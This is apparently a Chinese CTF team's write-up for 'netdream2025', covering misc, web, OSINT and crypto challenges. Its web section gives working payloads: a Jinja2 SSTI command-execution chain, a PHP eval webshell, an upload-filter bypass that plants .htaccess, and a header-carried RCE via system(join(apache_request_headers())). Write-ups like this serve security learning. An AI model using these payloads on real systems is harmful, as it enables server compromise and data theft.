netdream2025_wp
MISC
签到
你知道Base和TXT吗?
Y3RmLmN0Zi52aW4=
一眼base64,解码得到ctf.ctf.vin看起来像一个网址。
经过查询得知TXT是DNS的记录
一般指某个主机名或域名的说明,或者联系方式,或者标注提醒等等。

找一个在线查询网站得到flag
ezimg
题目给了一张图片

拖到010中,发现最后有一串base64

https://www.bilibili.com/video/BV1GJ411x7h7/https://docs.qq.com/doc/DZWxobHhmRW9pd09k
解码后是两个网址
打开第二个网址是一个文档
一闪而过一串base64(拼手速截下来)

全选发现一个fakeflag

base64解码后依旧是个网址 htNps://wwgn.lanzoul.com/i3q4y30huefa
把N改成t
https://wwgn.lanzoul.com/i3q4y30huefa
下载了一个压缩包
解压出ezimg.py,一直往左翻找到代码
from cryptography.fernet import Fernet;
import base64;
key = base64.urlsafe_b64encode(b'flag{xxx}'[:32].ljust(32, b'\0')[:32]); cipher = Fernet(key);
encrypted = cipher.encrypt(b'flag{xxxx}');
#c=gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s
这里用到了fernet加密(对称加密)
代码简单来说就是拿一串flag来生成密钥key,然后用key来加密flag
一开始在这里卡了好久,以为两个flag是相同的,基本不可能爆破出来,后来重新理了下思路,发现之前的fakeflag没用过,猜测密钥是由fakeflag生成的。
解密脚本如下:
from cryptography.fernet import Fernet
import base64
def decrypt():
# 已知密文
ciphertext = "gAAAAABoa6KH5msX3aA5PUiSZq1Ubma9DvtpU9ywyijLEbfQYNl-hn5Q_4NlmpcAD2pNjq07KvMYd2R32Id_R_3iW5GZn3yKTBW5R_5jFI_307_S9oep0zE0dhZCf_XOymC2WQhB2_6s"
try:
# 将密文转换为key格式
test_key = base64.urlsafe_b64encode("flag{114514-1919810-B1ngF3i_1s_a_@mazing_0ld3r}"[:32].encode().ljust(32, b'\0'))
cipher = Fernet(test_key)
decrypted = cipher.decrypt(ciphertext.encode())
print(f"解密结果: {decrypted}")
except Exception as e:
print(f"解密失败: {e}")
if __name__ == "__main__":
decrypt()
I_AM_K
import base64
def encrypt(plaintext, key):
key_sum = sum(ord(char) for char in key)
if not plaintext.startswith("flag{"):
plaintext = "flag{" + plaintext
if not plaintext.endswith("}"):
plaintext += "}"
encrypted = []
for char in plaintext:
encrypted_char = (ord(char) + key_sum) % 256
encrypted.append(encrypted_char)
encrypted_bytes = bytes(encrypted)
base64_encoded = base64.b64encode(encrypted_bytes).decode('utf-8')
shift = key_sum % 26
caesar_shifted = ""
for char in base64_encoded:
if char.isalpha():
shifted_char = chr(((ord(char) - ord('A') + shift) % 26 + ord('A'))) if char.isupper() else chr(((ord(char) - ord('a')) + shift) % 26 + ord('a'))
caesar_shifted += shifted_char
else:
caesar_shifted += char
hex_encoded = caesar_shifted.encode('utf-8').hex()
return hex_encoded
key = "xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx_xx"
plaintext = "Thi5 1s th3 Fl@g"
ciphertext = encrypt(plaintext, key)
print(ciphertext)
#686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248
整个流程
1 先计算出key_sum,
2 确保明文是flag{开头,}结尾,
3 进行字符加密encrypted_char = (ord(char) + key_sum) % 256
4 base64编码
5 根据key_sum进行凯撒加密
不难发现先这里key的作用只是提供了key_sum,只需要爆破key_sum,得到的结果中以flag{开头应该就是我们要的flag
解密脚本
import base64
def decrypt(ciphertext, keysum):
try:
hex_decoded = bytes.fromhex(ciphertext).decode('utf-8')
shift = keysum % 26
caesar_decoded = ""
for char in hex_decoded:
if char.isalpha():
if char.isupper():
caesar_decoded += chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
else:
caesar_decoded += chr((ord(char) - ord('a') - shift) % 26 + ord('a'))
else:
caesar_decoded += char
base64_decoded = base64.b64decode(caesar_decoded)
decrypted = ""
for byte in base64_decoded:
decrypted += chr((byte - keysum) % 256)
if "flag{" in decrypted and "}" in decrypted:
print(f"找到可能的flag! keysum={keysum}, 结果: {decrypted}")
return True
return False
except Exception:
return False
def main():
encrypted = "686545356839417466377a5266364133695a54556a376857696f6c4e67377a5166364248"
for keysum in range(0, 10000):
if decrypt(encrypted, keysum):
pass
if __name__ == "__main__":
main()
问卷题
学隔壁LIlCTF

web
ezpython
查看源代码进入下一关

一开始到这卡住了,后来看到提示要爆破六位数字路由,盲猜114514

看着像ssti
尝试传参?name={{7*7}},回显49

测试了一下发现没有过滤
payload:
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
ezupload(复现)
现在没环境了,就不截图了
开局一个文件上传界面,先随便传了个png,抓包改文件名,经过测试发现phtml文件没被过滤
文件内容过滤了<?,使用长标签绕过
<script language="php">
eval($_POST[1]);
</script>
但发现.phtml文件没被解析?
中间件是apache,尝试上传.htaccess,被过滤了,试了双写绕过也不行,当时就卡在这里了。
复现的时候查看了源码
$filtered_name = preg_replace('/php|htaccess/i', '', $filename);
$filtered_name = preg_replace('/php|htaccess/i', '', $filtered_name);
原来进行了两次替换?这是三写绕过吗
构造文件名
filename=".htaccesshtahtaccessccesshtachtaccesshtahtaccessccesscess"
//第一次替换htaccesshtachtaccesscess
//第二次替换htaccess
接下来有两个方法
**法一 **是解析phtml文件
上传.htaccess
<IfModule mime_module>
SetHandler application/x-httpd-php #在当前目录下,所有文件都会被解析成php代码执行
</IfModule>
执行一句话木马,禁用了system,直接猜在根目录读文件show_source就行了
法二
看了出题人发的视频才知道原来.htaccess可以直接读文件
AddType application/x-httpd-php .phtml
php_value auto_append_file "/flag"
访问上传的.phtml文件即可得到flag
ezbypass(复现)
源码
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\|implode|phpinfo|localeconv|pos|current|print|var|dump|getallheaders|get|defined|str|split|spl|autoload|extensions|eval|phpversion|floor|sqrt|tan|cosh|sinh|ceil|chr|dir|getcwd|getallheaders|end|next|prev|reset|each|pos|current|array|reverse|pop|rand|flip|flip|rand|content|session_id|session_start|echo|readfile|highlight|show|source|file|assert/i", $test)){
eval($test);
}
过滤了一堆,但没过滤system,注意这里过滤的是中文括号
肯定往无参rce方向来想,但无参rce的函数也基本都被过滤了,当时就没思路了
之前做过一道题是利用
usort(getallheaders(),system)
来执行命令的
这里getallheaders被过滤了,查php手册发现

apache_request_headers()没被过滤
此时又有了新的问题,system的参数是字符串,apache_request_headers()返回的是数组
要将数组转换为字符串

这道题吧implode也过滤了,但发现他是join的别名
所有最终构造payload
?test=system(join(apache_request_headers()));
//请求头中加入命令
cmd:;cat${IFS}/f*>1.txt; //命令拼接
在hackerbar中没试成功,可能是请求头太多了?抓包删掉一些请求头,命令执行成功,访问1.txt获得flag。
OSINT
Where_am_i

直接谷歌识图

一搜就有了
Bridge

谷歌识图

锁定是这座桥,最后试了半天原来要填别名牌楼长江大桥
CRYPTO
EzRSA
import sys
import random
from sympy import nextprime
import binascii
FLAG = b"flag{xxxxxxx}"
BIT_SIZE = 512
DIFF = 1000
def generate_close_primes(bit_size, diff):
start = random.getrandbits(bit_size) | 1
p = nextprime(start)
q = nextprime(p + diff)
return p, q
def flag_to_int(flag_bytes):
return int.from_bytes(flag_bytes, byteorder='big')
def main():
p, q = generate_close_primes(BIT_SIZE, DIFF)
n = p * q
e = 3
m = flag_to_int(FLAG)
c = pow(m, e, n)
print(f"n = {n}")
print(f"e = {e}")
print(f"c = {c}")
if __name__ == "__main__":
main()
"""
n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933
"""
这题的$e$非常小,低加密指数攻击
当$M^e < n$ 时,$C = M^e$ ,所以对$C$开方就能得到$M$
当$M^e > n$ 时,此时用爆破的方法
假设我们$\frac{M^e}{n}$ 的商为$ k $余数为$C$,
则$M^e = kn + C$,对$k$进行爆破,只要$k$满足 $kn + C$能够开$e$次方就可以得明文
代码实现
import gmpy2
n = 3256593900815599638610948588846270419272266309072355018531019815816383416972716648196614202756266923662468043040766972587895880348728177684427108179441398076920699534139836200520410133083399544975367893285080239622582380507397956076038256757810824984700446326253944197017126171652309637891515864542581815539
e = 3
c = 1668144786169714702301094076704686642891065952249900945234348491495868262367689770718451252978033214169821458376529832891775500377565608075759008139982766645172498702491199793075638838575243018129218596030822468832530007275522627172632933
k = 0
while 1:
res = gmpy2.iroot(k*n+c,e)
if(res[1] == True):
print(bytes.fromhex(hex(res[0])[2:]))
break
k += 1

浙公网安备 33010602011771号